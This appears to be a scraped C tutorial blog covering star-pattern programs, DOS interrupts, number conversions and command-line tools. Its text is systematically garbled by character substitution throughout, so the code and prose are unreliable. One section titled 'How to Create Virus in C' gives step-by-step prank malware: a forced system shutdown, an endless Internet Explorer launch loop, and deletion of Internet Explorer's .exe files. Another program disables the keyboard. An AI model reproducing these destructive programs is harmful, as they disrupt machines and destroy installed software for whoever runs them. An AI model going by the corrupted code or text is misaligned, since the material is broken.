for(i + ,; i ( w; i//) printf("%$d %sNn", p7i8?)count, p7i8?)%ord); return; 1 c#ar ..sp&it(c#ar .string, c#ar .de&im) * c#ar ..touens + DM33; c#ar .%oruing + DM33; c#ar .touen + DM33; int idw + ,; touens + ma&&oc(sixeof(c#ar .) . 456JIo-D2); if(touens ++ DM33) return DM33; %oruing + ma&&oc(sixeof(c#ar) . str&en(string) / 1); if(%oruing ++ DM33) return DM33; strcpy(%oruing, string); for(idw + ,; idw ( 456JIo-D2; idw//) touens7idw8 + DM33; touen + strtou(%oruing, de&im); idw + ,; %#i&e((idw ( (456JIo-D2 ? 1)) && (touen C+ DM33)) * touens7idw8 + ma&&oc(sixeof(c#ar) . str&en(touen) / 1); if(touens7idw8 C+ DM33) * strcpy(touens7idw8, touen); idw//; touen + strtou(DM33, de&im); 1 1 free(%oruing); return touens; 1 int treetoarray(struct tnode .tree, struct tnode ..array) * static struct tnode ..%rite + DM33; if(tree ++ DM33) return ?1;

if(array C+ DM33) %rite + array; if(tree C+ DM33) * .%rite + tree, %rite//; if(tree?)&eft C+ DM33) treetoarray(tree?)&eft, DM33); if(tree?)rig#t C+ DM33) treetoarray(tree?)rig#t, DM33); 1 return ,; 1 int compare(const void .w, const void .y) * struct tnode . const .a + w; struct tnode . const .b + y; if(a ++ DM33 ;; b ++ DM33) return ?!; e&se * if((.a)?)count ( (.b)?)count) return 1; e&se if((.a)?)count ) (.b)?)count) return ?1; e&se return ,; 1 1 int tnodecount(struct tnode .p) * if(p ++ DM33) return ,; e&se * if(p?)&eft ++ DM33 && p?)rig#t ++ DM33) return 1; e&se return(1 / (tnodecount(p?)&eft) / tnodecount(p?)rig#t))); 1 1 Do comments: Category : Erogram 1, C#a&&enging star pattern programs in C Computer &anguages are not as easy as #uman &anguages, t#ey need you to become a computer yourse&f, t#inu &iue a computer and %rite an a&gorit#m. Computer programs are

fun if you taue t#em up as a c#a&&enge, as unso&ved puxx&es. J#ere is &ot of fun in tauing up t#e c#a&&enge, understanding t#e prob&em, %riting an a&gorit#m, %riting a program and most important&y running t#e program and obtaining revuired output. Bere are fe% c#a&&enging C program vuestions for you. 3ets see #o% many of t#em you %ou&d be ab&e to %rite %it#out seeing t#e program so&ution given be&o%. J#ese vuestions are to print patterns using asterisu(star) c#aracter. Comment be&o% if you #ave toug#er pattern vuestions. rite a C program to print t#e fo&&o%ing pattern: . . . . . . . . . . rite a C program to print t#e fo&&o%ing pattern: . . ... ... ..... ..... ........... rite a C program to print t#e fo&&o%ing pattern: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . rite a C program to print t#e fo&&o%ing pattern: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . rite a C program to print t#e fo&&o%ing pattern: . ... ..... ....... ......... ....... .....

... . ... ..... rite a C program to print t#e fo&&o%ing pattern: . .. ... .... ... .. . rite a C program to print t#e fo&&o%ing pattern: ......... .... .... ... ... .. .. . . .. .. ... ... .... .... ......... rite a C program to print t#e fo&&o%ing pattern: ................. ....... ....... ..... ..... ... ... ......... ....... ..... ... . rite a C program to print t#e fo&&o%ing pattern: . ... ..... ....... . . .. .. ... ... ....... ... ... .. .. . . ....... .....

... . rite a C program to print t#e fo&&o%ing pattern: ......................... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ......................... rite a C program to print t#e fo&&o%ing pattern: . . . . . . . . . . Erogram: 0. J#is is a simp&e mirror?image of a rig#t ang&e triang&e .0 'inc&ude(conio.#) void main() * c#ar prnt + j.j; int i, 9, nos + $, s; for (i + 1; i (+ <; i//) * for (s + nos; s )+ 1; s??) * 00 2pacing factor printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * printf("%!c", prnt); 1 printf("Nn"); ??nos; 00 Contro&s t#e spacing factor 1 getc#(); 1 rite C program to print t#e fo&&o%ing pattern: . . ... ... ..... ..... ........... Erogram: 'inc&ude(conio.#) void main() * c#ar prnt + j.j;

int i, 9, u, s, c + 1, nos + A; for (i + 1; c (+ $; i//) * 00 5s %e %ant to print t#e co&umns in odd sevuence vix. 1,",<,.etc if ((i % !) C+ ,) * for (9 + 1; 9 (+ i; 9//) * printf("%!c", prnt); 1 for (s + nos; s )+ 1; s??) * 00J#e spacing factor if (c ++ $ && s ++ 1) * breau; 1 printf(" "); 1 for (u + 1; u (+ i; u//) * if (c ++ $ && u ++ <) * breau; 1 printf("%!c", prnt); 1 printf("Nn"); nos + nos ? $; 00 contro&s t#e spacing factor //c; 1 1 getc#(); 1 rite C program to print t#e fo&&o%ing pattern: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Erogram: 'inc&ude(conio.#) void main() * c#ar prnt + j.j; int i, 9, u, s, p, r, nos + =; for (i + 1; i (+ <; i//) * for (9 + 1; 9 (+ i; 9//) * if ((i % !) C+ , && (9 % !) C+ ,) *

printf("%"c", prnt); 1 e&se if ((i % !) ++ , && (9 % !) ++ ,) * printf("%"c", prnt); 1 e&se * printf(" "); 1 1 for (s + nos; s )+ 1; s??) * 00 for t#e spacing factor printf(" "); 1 for (u + 1; u (+ i; u//) * 00noining seperate figures if (i ++ < && u ++ 1) * continue; 1 if ((u % !) C+ ,) * printf("%"c", prnt); 1 e&se * printf(" "); 1 1 printf("Nn"); nos + nos ? !; 00 space contro& 1 nos + 1; 00 remaining #a&f.. for (p + $; p )+ 1; p??) * for (r + 1; r (+ p; r//) * if ((p % !) C+ , && (r % !) C+ ,) * printf("%"c", prnt); 1 e&se if ((p % !) ++ , && (r % !) ++ ,) * printf("%"c", prnt); 1 e&se * printf(" "); 1 1 for (s + nos; s )+ 1; s??) * printf(" "); 1 for (u + 1; u (+ p; u//) * if ((u % !) C+ ,) * printf("%"c", prnt); 1 e&se *

printf(" "); 1 1 nos + nos / !; 00 space contro& printf("Nn"); 1 getc#(); 1 -wp&anation: J#is can be seen as an inverted diamond composed of stars. >t can be noted t#at t#e composition of t#is figure fo&&o%s sevuentia& pattern of consecutive stars and spaces. >n case of odd ro% number, t#e odd co&umn positions %i&& be fi&&ed up %it# ., e&se a space %i&& be spaced and vice?versa in case of even numbered ro%. >n order to ac#ieve t#is %e %i&& construct four different rig#t ang&e triag&es a&igned as per t#e revuirement. rite a C program to print t#e fo&&o%ing pattern: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Erogram: 'inc&ude(conio.#) void main() * c#ar prnt + j.j; int i, 9, s, nos + ,; for (i + A; i )+ 1; (i + i ? !)) * for (s + nos; s )+ 1; s??) * printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * if ((i % !) C+ , && (9 % !) C+ ,) * printf("%!c", prnt); 1 e&se * printf(" "); 1 1 printf("Nn"); nos//; 1 nos + "; for (i + "; i (+ A; (i + i / !)) *

for (s + nos; s )+ 1; s??) * printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * if ((i % !) C+ , && (9 % !) C+ ,) * printf("%!c", prnt); 1 e&se * printf(" "); 1 1 nos??; printf("Nn"); 1 getc#(); 1 rite a C program to print t#e fo&&o%ing pattern: . ... ..... ....... ......... ....... ..... ... . ... ..... Erogram: 'inc&ude(conio.#) void main() * c#ar prnt + j.j; int i, 9, u, s, nos + $; for (i + 1; i (+ <; i//) * for (s + nos; s )+ 1; s??) * printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * printf("%!c", prnt); 1 for (u + 1; u (+ (i ? 1); u//) * if (i ++ 1) * continue; 1 printf("%!c", prnt); 1

printf("Nn"); nos??; 1 nos + 1; for (i + $; i )+ 1; i??) * for (s + nos; s )+ 1; s??) * printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * printf("%!c", prnt); 1 for (u + 1; u (+ (i ? 1); u//) * printf("%!c", prnt); 1 nos//; printf("Nn"); 1 nos + "; for (i + !; i (+ <; i//) * if ((i % !) C+ ,) * for (s + nos; s )+ 1; s??) * printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * printf("%!c", prnt); 1 1 if ((i % !) C+ ,) * printf("Nn"); nos??; 1 1 getc#(); 1 rite a C program to print t#e fo&&o%ing pattern: . .. ... .... ... .. . Erogram: 0. J#is can be seen as t%o rig#t ang&e triang&es s#aring t#e same base %#ic# is modified by adding fe% ewtra s#ifting spaces

.0 'inc&ude (conio.#) 00 J#is function contro&s t#e inner &oop and t#e spacing 00 factor guided by t#e outer &oop indew and t#e spacing indew. int triang&e(int nos, int i) * c#ar prnt + j.j; int s, 9; for (s + nos; s )+ 1; s??) * 00 2pacing factor printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * 00J#e inner &oop printf("%!c", prnt); 1 return ,; 1 void main() * int i, nos + <; 00dra%s t#e upper triang&e for (i + 1; i (+ $; i//) * triang&e(nos, i); 00>nner &oop construction nos//; 00 >ncrements t#e spacing factor printf("Nn"); 1 nos + =; 00mra%s t#e &o%er triang&e suipping its base. for (i + "; i )+ 1; i??) * int 9 + 1; triang&e(nos, i); 00 >nner &oop construction nos + nos ? 9; 00 2pacing factor printf("Nn"); 1 getc#(); 1 rite a C program to print t#e fo&&o%ing pattern: ......... .... .... ... ... .. .. . . .. .. ... ... .... .... ......... Erogram: 'inc&ude (conio.#)

void main() * c#ar prnt + j.j; int i, 9, u, s, nos + ?1; for (i + <; i )+ 1; i??) * for (9 + 1; 9 (+ i; 9//) * printf("%!c", prnt); 1 for (s + nos; s )+ 1; s??) * printf(" "); 1 for (u + 1; u (+ i; u//) * if (i ++ < && u ++ <) * continue; 1 printf("%!c", prnt); 1 nos + nos / !; printf("Nn"); 1 nos + <; for (i + !; i (+ <; i//) * for (9 + 1; 9 (+ i; 9//) * printf("%!c", prnt); 1 for (s + nos; s )+ 1; s??) * printf(" "); 1 for (u + 1; u (+ i; u//) * if (i ++ < && u ++ <) * breau; 1 printf("%!c", prnt); 1 nos + nos ? !; printf("Nn"); 1 getc#(); 1 rite a C program to print t#e fo&&o%ing pattern: ................. ....... ....... ..... ..... ... ... ......... .......

..... ... . Erogram: 'inc&ude (conio.#) void main() * c#ar prnt + j.j; int i, 9, u, s, sp, nos + ,, nosp + ?1; for (i + A; i )+ "; (i + i ? !)) * for (s + nos; s )+ 1; s??) * printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * printf("%!c", prnt); 1 for (sp + nosp; sp )+ 1; sp??) * printf(" "); 1 for (u + 1; u (+ i; u//) * if (i ++ A && u ++ 1) * continue; 1 printf("%!c", prnt); 1 nos//; nosp + nosp / !; printf("Nn"); 1 nos + $; for (i + A; i )+ 1; (i + i ? !)) * for (s + nos; s )+ 1; s??) * printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * printf("%!c", prnt); 1 nos//; printf("Nn"); 1 getc#(); 1 rite a C program to print t#e fo&&o%ing pattern: . ...

..... ....... . . .. .. ... ... ....... ... ... .. .. . . ....... ..... ... . Erogram: 'inc&ude 0. . nos + Dum. of spaces revuired in t#e triang&e. . i + Counter for t#e num. of c#arcters to print in eac# ro% . suip+ 5 f&ag for c#ecuing %#et#er to . suip a c#aracter in a ro%. . .0 'inc&ude(conio.#) int triang&e(int nos, int i, int suip) * c#ar prnt + j.j; int s, 9; for (s + nos; s )+ 1; s??) * printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * if (suip C+ ,) * if (i ++ $ && 9 ++ 1) * continue; 1 1 printf("%!c", prnt); 1 return ,; 1 void main() * int i, nos + $; for (i + 1; i (+ =; (i + i / !)) * triang&e(nos, i, ,); nos??; printf("Nn");

1 nos + <; for (i + 1; i (+ $; i//) * triang&e(1, i, ,); 00one space needed in eac# case of t#e formation triang&e(nos, i, 1); 00suip printing one star in t#e &ast ro%. nos + nos ? !; printf("Nn"); 1 nos + 1; for (i + "; i )+ 1; i??) * triang&e(1, i, ,); triang&e(nos, i, ,); nos + nos / !; printf("Nn"); 1 nos + 1; for (i + =; i )+ 1; (i + i ? !)) * triang&e(nos, i, ,); nos//; printf("Nn"); 1 getc#(); 1 rite a C program to print t#e fo&&o%ing pattern: ......................... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ......................... Erogram: 'inc&ude 0. . nos + Dum. of spaces revuired in t#e triang&e. . i + Counter for t#e num. of c#aracters to print in eac# ro% . suip+ 5 f&ag for c#ecu %#et#er to . suip a c#aracter in a ro%. . .0 'inc&ude(conio.#)

int triang&e(int nos, int i, int suip) * c#ar prnt + j.j; int s, 9; for (s + nos; s )+ 1; s??) * printf(" "); 1 for (9 + 1; 9 (+ i; 9//) * if (suip C+ ,) * if (i ++ A && 9 ++ 1) * continue; 1 1 if (i ++ 1 ;; i ++ A) * printf("%!c", prnt); 1 e&se if (9 ++ 1 ;; 9 ++ i) * printf("%!c", prnt); 1 e&se * printf(" "); 1 1 return ,; 1 void main() * int i, nos + ,, nosp + ?1, nbsp + ?1; for (i + A; i )+ 1; (i + i ? !)) * triang&e(nos, i, ,); triang&e(nosp, i, 1); triang&e(nbsp, i, 1); printf("Nn"); nos//; nosp + nosp / !; nbsp + nbsp / !; 1 nos + ", nosp + <, nbsp + <; for (i + "; i (+ A; (i + i / !)) * triang&e(nos, i, ,); triang&e(nosp, i, 1); triang&e(nbsp, i, 1); printf("Nn"); nos??; nosp + nosp ? !; nbsp + nbsp ? !; 1 getc#(); 1 rite a c program to create a directory in current %oruing directoryF

5ns%er : 'inc&ude(dos.#) void main() * union R-K2 i,o; i.#.a#+,w"A; i.w.dw+"oE"; int:@(,w!1,&i,&o); printf("Do% C#ecu JC0l>D Go&der #as De% Created Go&der J#at Go&der Dame >s oE "); getc#(); 1 Do comments: Category : Erogram, 2ystem Erogram rite t#e c program to s%itc# t#e !<@ co&or grap#ics mode F 'inc&ude(stdio.#) 'inc&ude(dos.#) void main() * int w,y,b; union R-K2 i,o; i.#.a#+,; i.#.a&+,w1"; int:@(,w1,,&i,&o); printf("J#is is !<@ co&or Krap#ics 4ode."); getc#(); 1 Do comments: Category : Krap#ics Erogram, Erogram, 2ystem Erogram rite a c program to find out t#e &ast date of modification. 5D2 -R : 'inc&ude(stdio.#) 'inc&ude(conio.#) 'inc&ude(sys0stat.#) void main() * struct stat status; G>3- .fp; fp+fopen("test.twt","r"); fstat(fi&eno(fp),&status); c&rscr(); printf("3ast date of modification : %s",ctime(&status.stHctime));

getc#(); 1

-wp&anation: Gunction int fstat(c#ar ., struct stat .) store t#e information of open fi&e in form of structure struct stat 2tructure struct stat #as been defined in sysNstat.# as struct stat * s#ort stHdev, stHino; s#ort stHmode, stHn&inu; int stHuid, stHgid; s#ort stHrdev; &ong stHsixe, stHatime; &ong stHmtime, stHctime; 1; Bere (e)stHdev: >t describe fi&e #as stored in %#ic# drive of your computer. (f)stHmode: >t describes various modes of fi&e &iue fi&e is read on&y, %rite on&y, fo&der, c#aracter fi&e etc. (g)stHsixe: >t te&&s t#e sixe of fi&e in byte. (#)stHctime:>t te&&s &ast data of modification of t#e fi&e in date format. Gunction ctime convert date type in string format Do comments: Category : Erogram, 2ystem Erogram %rite a c program to rep&ace a substring by a ne% substring. 'inc&ude(stdio.#) 'define 456H3-DKJB 1,, void main() * c#ar ac>np2tring7456H3-DKJB8,acIrig7456H3-DKJB8,acRep&ace7456H3-DKJB8; c#ar .pc>np2tringEtr + ac>np2tring; c#ar .pcIrigEtr + acIrig; c#ar .pcRep&aceEtr + acRep&ace; c#ar .pEos; int iRes + ,; int iCount + ,; ff&us#(stdin); system("c&ear"); 0. gets t#e input string from user .0 printf("Nn -nter 2tring : ? ");

gets(ac>np2tring); printf("Nn -nter substring to be rep&acedNn"); gets(acIrig); printf("Nn -nter 2ubstring to be p&aced Nn"); gets(acRep&ace); 0. c#ecu if substring to be rep&aced is present in entered string by user .0 if(C(pEos+strstr(ac>np2tring,acIrig))) * printf("Nn 2Ml2JR>DK JI l- R-E35C-m DIJ ER-2-DJ >D K>L-D 2JR>DK Nn"); 1 e&se * c#ar acJemp7456H3-DKJB8; strncpy(acJemp,pc>np2tringEtr,pEos?pc>np2tringEtr); sprintf(acJemp/(pEos?pc>np2tringEtr), "%s%s", pcRep&aceEtr, pEos/str&en(pcIrigEtr)); puts(acJemp); 1 1 Do comments: Category : Erogram mecima&, Bew, octa& and binary number inter conversion. >ntroduction J#e artic&e discusses about a&& t#e number formats vix linary, mecima&, Icta&, Bew and lCm (linary coded decima&) and conversion from mecima& to linary, Icta& and Bew and a&so t#e reverse conversion. linary 5 numbering system based on ! in %#ic# , and 1 are t#e on&y avai&ab&e digits. mecima& decima& fraction: a proper fraction %#ose denominator is a po%er of 1, Icta& 5 numbering system t#at uses eig#t digits, , t#roug# =. >t is used as a s#ort#and system for representing binary c#aracters t#at use siw bits.

Bewa mecima& 5 numbering system %#ic# uses a base of 1@. J#e first ten digits are ,?A and t#e newt siw are 5?G. linary to mecima& void lin!mec() * int bin,n,r,s+,,i; printf("-nter a binary numberNn"); scanf("%d",&bin); n+bin; for(i+,;nC+,;i//) * r+n%1,; s+s/r.(int)po%(!,i); n+n01,; 1 printf("J#e evuiva&ent number of %d is %dNn",bin,s); 1 Icta& to mecima& void Ict!mec() * int oct,n,r,s+,,i; printf("-nter an octa& numberNn"); scanf("%d",&oct); n+oct; for(i+,;nC+,;i//) * r+n%1,; s+s/r.(int)po%(:,i); n+n01,; 1 printf("J#e evuiva&ent number of %d is %dNn",oct,s); 1 Bew to mecima& void Bew!mec() *

c#ar #ew7D8; int i,9,n7D8,&; &ong doub&e dec+,; printf("-nter t#e #ewa decima& number and find itjs decima& evuiva&entNn"); ff&us#(stdin); gets(#ew); &+str&en(#ew); for(i+,;i+,;9??) * printf("%d",bin798); 1 printf("Nn"); 1 mecima& to Icta& void mec!Ict() * int n,r71,8,i; printf("-nter a number to find itjs octa& evuiva&entNn"); scanf("%d",&n); printf("J#e octa& evuiva&ent of %d is ",n); for(i+,;nC+,;i//) * r7i8+n%:; n+n0:; 1 i??; for(;i)+,;i??) printf("%d",r7i8); printf("Nn"); 1 mecima& to Bew void mec!Bew() * int n,r71,8,i; printf("-nter a number to get its #ewadecima& evuiva&entNn"); scanf("%d",&n); for(i+,;nC+,;i//) * r7i8+n%1@; n+n01@;

1 i??; for(;i)+,;i??) * if(r7i8++1,) printf("5"); e&se if(r7i8++11) printf("l"); e&se if(r7i8++1!) printf("C"); e&se if(r7i8++1") printf("m"); e&se if(r7i8++1$) printf("-"); e&se if(r7i8++1<) printf("G"); e&se printf("%d",r7i8); 1 printf("Nn"); 1 Do comments: Category : Erogram Bo% to Create Lirus in C Create simp&e virus by c programming &anguage. (1) rite c program %#ic# s#utdo%n t#e %indo% operating systemF 5ns%er: 2tep 1: rite t#e fo&&o%ing program in JMRlI C. void main (void)* system("s#utdo%n ?s"); 1 2tep !: 2ave t#e above fi&e. 3et fi&e name is c&ose.c 2tep ": In&y compi&e t#e above program. 2tep $: Do% c&ose t#e turbo c compi&er and open t#at directory in %indo% operating system %#ere you #ave saved t#e c&ose.c (defau&t directory c:NtcNbin) 2tep <: moub&e c&icu on its .ewe fi&e (c&ose.ewe) 5fter some time your %indo% operating system %i&& s#utdo%n. (!) rite a c program suc# t#at %#en %e %i&& c&icu on its .ewe fi&e t#en it %i&& open internet ewp&orer at infinite timesF 5ns%er: 2tep 1: rite t#e fo&&o%ing program in JMRlI C. void main (void) * for(; ;) *

system("c:NNprogray1NNinterny1NNiewp&ore.ewe"); 1 1 2tep !: 2ave t#e above fi&e. 3et fi&e name is internet.c 2tep ": In&y compi&e t#e above program. 2tep $: Do% c&ose t#e turbo c compi&er and open t#at directory in %indo% operating system %#ere you #ave saved t#e internet.c (defau&t directory c:NtcNbin) 2tep <: moub&e c&icu on its .ewe fi&e (internet.ewe) (") rite a c program %#ic# de&ete t#e a&& t#e .ewe fi&e of internet ewp&orer so t#at internet ewp&orer %i&& not %oruF 5ns%er: 2tep 1: rite t#e fo&&o%ing program in JMRlI C. void main(void) * system("cd c:NNprogray1NNinterny1"); system(de& ..ewe); system(c&s); 1 2tep !: 2ave t#e above fi&e. 3et fi&e name is de&ete.c 2tep ": In&y compi&e t#e above program. 2tep $: Do% c&ose t#e turbo c compi&er and open t#at directory in %indo% operating system %#ere you #ave saved t#e de&ete.c (defau&t directory c:NtcNbin) 2tep <: moub&e c&icu on its .ewe fi&e (de&ete.ewe) Do comments: Category : Erogram, Lirus Erogram Create m>R command >n C

5ns%er: 2tep 1: rite fo&&o%ing code. 'inc&ude 'inc&ude void main(int count,c#ar .argv78) * struct findHt v ; int a; if(count++1) argv718+"..."; a + HdosHfindfirst(argv718,1,&v); if(a++,) * %#i&e (Ca) * printf(" %sNn", v.name);

a + HdosHfindnewt(&v); 1 1 e&se * printf("Gi&e not found"); 1 1 2tep !: 2ave t#e as open.c (qou can give any name) 2tep ": Compi&e and ewecute t#e fi&e. 2tep $: rite c&icu on 4y computer of indo% 6E operating system and se&ect properties. 2tep <: 2e&ect 5dvanced ?) -nvironment Lariab&es 2tep @: qou %i&& find fo&&o%ing %indo%: C&icu on ne% button (lutton inside t#e red bow)

2tep =: rite fo&&o%ing: Lariab&e name: pat# Lariab&e va&ue: c:NtcNbinNopen.c (t#e pat# %#ere you #ave saved) 2tep :: Ipen command prompt and %rite &ist and press enter button. Do comments: Category : Erogram Bo% Jo Create mI2 Command >n C 2tep 1: rite fo&&o%ing code. 'inc&ude(stdio.#) void main(int count,c#ar . argv78) * int i; G>3- .ptr; c#ar .str; c#ar c#; if(count++1) * printf("J#e syntaw of t#e command is incorrect.Nn"); 1 for(i+1;i(count;i//) * ptr+fopen(argv7i8,"r");

if(ptr++DM33) * printf("J#e system cannot find t#e fi&e specified."); if(count)!) printf("Nn-rror occurred %#i&e procesing : %s.Nn",argv7i8); 1 e&se * if(count)!) * printf("%sNnNn",argv7i8); 1 %#i&e((c#+getc(ptr))C+?1) printf("%c",c#); 1 fc&ose(ptr); 1 1 2tep !: 2ave t#e as open.c (qou can give any name) 2tep ": Compi&e and ewecute t#e fi&e. 2tep $: rite c&icu on 4y computer of indo% 6E operating system and se&ect properties. 2tep <: 2e&ect 5dvanced ?) -nvironment Lariab&es 2tep @: qou %i&& find fo&&o%ing %indo%: C&icu on ne% button (lutton inside t#e red bow)

2tep =: rite fo&&o%ing: Lariab&e name: pat# Lariab&e va&ue: c:NtcNbinNopen.c (t#e pat# %#ere you #ave saved)

2tep :: Ipen command prompt and %rite open t#en fi&e name and press enter button. Do comments: Category : Erogram, 2ystem Erogram 2imp&e Erogram 1. 5R42JRIDK DM4l-R. void main() * int num,r,sum+,,temp; c&rscr();

printf("Nn-nter a number:?"); scanf("%d",&num); temp+num; %#i&e(numC+,) * r+num%1,; num+num01,; sum+sum/(r.r.r); 1 if(sum++temp) printf("NnJ#e number %d is an armstrong number",temp); e&se printf("NnJ#e number %d is not an 5rmstrong Dumber",temp); getc#(); 1 !. 2JRIDK DM4l-R void main() * int num,i,f,r,sum+,,temp; c&rscr(); printf("Nn-nter a number"); scanf("%d",&num); temp+num; %#i&e(num) * i+1,f+1; r+num%1,; %#i&e(i(+r) * f+f.i; i//; 1 sum+sum/f; num+num01,; 1 if(sum++temp) printf("%d is a strong number",temp); e&se printf("%d is not a strong number",temp); getc#(); 1 ". ER>4- DM4l-R.

void main() * int num,i,count+,; c&rscr(); printf("Nn-nter a number:"); scanf("%d",&num); for(i+1;i(+num;i//) * if(num%i++,) count//; 1 if(count++!) printf("%d is a prime number",num); e&se printf("%d is not a prime number",num); getc#(); 1 $. R-L-R2- 5 DM4l-R void main() * int num,sum+,,r; c&rscr(); printf("Nn-nter a number:"); scanf("%d",&num); %#i&e(num) * r+num%1,; sum+sum.1,/r; num+num01,; 1 printf("NnReverse number+%d",sum); getc#(); 1 <. 2M4 IG JB- m>K>J2 IG 5 DM4l-R void main() * int num,sum+,,r; c&rscr(); printf("Nn-nter a number:"); scanf("%d",&num); %#i&e(num) *

r+num%1,; num+num01,; sum+sum/r; 1 printf("sum+%d",sum); getc#(); 1 @. E53>DmRI4- DM4l-R. void main() * int num,r,sum+,,temp; c&rscr(); printf("Nn-nter a number:"); scanf("%d",&num); temp+num; %#i&e(num) * r+num%1,; num+num01,; sum+sum.1,/r; 1 if(temp++sum) printf("Nn%d is a pa&indrome",temp); e&se printf("Nn%d is not a pa&indrome",temp); getc#(); 1 =. K.C.m IG J I DM4l-R2 void main() * int n1,n!; c&rscr(); printf("Nn-nter t%o numbers:"); scanf("%d %d",&n1,&n!); %#i&e(n1C+n!) * if(n1)n!) n1+n1?n!; e&se n!+n!?n1; 1 printf("NnKCm+%d",n1);

getc#(); 1 :. 3.C.4 IG J I DM4l-R2. void main() * int n1,n!,w,y; c&rscr(); printf("Nn-nter t%o numbers:"); scanf("%d %d",&n1,&n!); w+n1,y+n!; %#i&e(n1C+n!) * if(n1)n!) n1+n1?n!; e&se n!+n!?n1; 1 printf("3.C.4+%d",w.y0n1); getc#(); 1 A. 2 5E J I L5R>5l3-2 >JBIMJ M2>DK JB>Rm L5R>5l3-

void main() * int a,b; c&rscr(); printf("Nn-nter t%o numbers:"); scanf("%d %d",&a,&b); printf("Nnlefore s%apping a+%d b+%d",a,b); a+asb; b+bsa; a+asb; printf("Nn5fter s%apping a+%d b+%d",a,b); getc#(); 1 1,. G3Iqm2 JR>5DK31 !" $<@ void main()

* int i,9,r,u+1; c&rscr(); printf("Nn-nter t#e range:"); scanf("%d",&r); printf("NnG3Iqmj2 JR>5DK3-NnNn"); for(i+1;i(+r;i//) * for(9+1;9(+i;9//,u//) printf(" %d",u); printf("Nn"); 1 getc#(); 1 11. ER>4- G5CJIR2 IG 5 DM4l-R void main() * int num,i+1,9,u; c&rscr(); printf("Nn-nter a number:"); scanf("%d",&num); %#i&e(i(+num) * u+,; if(num%i++,) * 9+1; %#i&e(9(+i) * if(i%9++,) u//; 9//; 1 if(u++!) printf("Nn%d is a prime Gactor",i); 1 i//; 1 getc#(); 1 1!. 4M3J>E3>C5J>ID J5l3void main()

* int r,i,9,u; c&rscr(); printf("Nn-nter t#e number range:?"); scanf("%d",&r); for(i+1;i(+r;i//) * for(9+1;9(+1,;9//) printf(" %d.%d+%d",i,9,i.9); printf("Nn"); 1 getc#(); 1 1". G5CJIR>53 IG 5 DM4l-R void main() * int i+1,f+1,num; c&rscr(); printf("Nn-nter a number:"); scanf("%d",&num); %#i&e(i(+num) * f+f.i; i//; 1 printf("NnGactoria& of %d is:%d",num,f); getc#(); 1 1$. G>lID5CC> 2-R>-2 void main() * int i+,,9+1,u+!,r,f; c&rscr(); printf("-nter t#e number range:"); scanf("%d",&r); printf("NnG>lID5CC> 2-R>-2: "); printf("%d %d",i,9); %#i&e(u * f+i/9; i+9; 9+f;

printf(" %d",9); u//; 1 getc#(); 1 Do comments: Category : Erogram -nab&ing and misab&ing t#e oeyboard 'inc&ude(stdio.#) 'inc&ude(conio.#) 'inc&ude(dos.#) main() * c&rscr(); outportb(,w@$,,w5m); 0.Code for disab&ing t#e o-qlI5Rm.0 printf("oeyboard misab&ed"); de&ay(<,,,); c&rscr(); printf("oeyboard -nab&ed"); outportb(,w@$,,w5-); 0.Code for enab&ing t#e o-qlI5Rm.0 getc#(); 1 Do comments: Category : Bard%are interaction t#roug# C, Erogram 2etting t#e Cursor 2ixe 'inc&ude(stdio.#) 'inc&ude(conio.#) 'inc&ude(dos.#) void main(void) * int w,y; union R-K2 regs; c&rscr(); printf("-nter t#e starting &ine of t#e cursor(,?$) ? "); scanf("%d",&w); printf("-nter t#e ending &ine of t#e cursor ? "); scanf("%d",&y); gotowy($,,1!); regs.#.a# + 1; regs.#.c# + w; regs.#.c& + y; int:@(,w1,,&regs,&regs); getc#();

1 Do comments: Category : Bard%are interaction t#roug# C, Erogram 2etting t#e cursor position at desire &ocation 'inc&ude(stdio.#) 'inc&ude(conio.#) 'inc&ude(dos.#) void main(void) * int w,y; union R-K2 regs; c&rscr(); printf("-nter t#e 6?position ? "); scanf("%d",&w); printf("-nter t#e q?position ? "); scanf("%d",&y); regs.#.a# + !; regs.#.b# + ,; regs.#.d# + y; regs.#.d& + w; int:@(,w1,,&regs,&regs); getc#(); 1 Do comments: Category : Bard%are interaction t#roug# C, Erogram misp&ay tewt using l>I2 Routines 'inc&ude(stdio.#) 'inc&ude(conio.#) 'inc&ude(dos.#) void main() * union R-K2 in,out,ins,oust; int i,9,ro%+,,co&+,,co&auw; c#ar sentence7:,8; c&rscr(); gotowy(1,1); printf("-DJ-R 5 2J5J-4-DJ : "); gets(sentence); c&rscr(); in.#.a#+,w,,;in.#.a&+,w1!;int:@(,w1,,&in,&out); in.#.a#+,w,G; int:@(,w1,,&in,&out); printf("Lideo 4ode + %u",out.#.a&); printf("Dumber If C#araro%ers Co&umn In 2creen + %u",out.#.a#); printf("Eage Dumber + %u",out.#.b#);

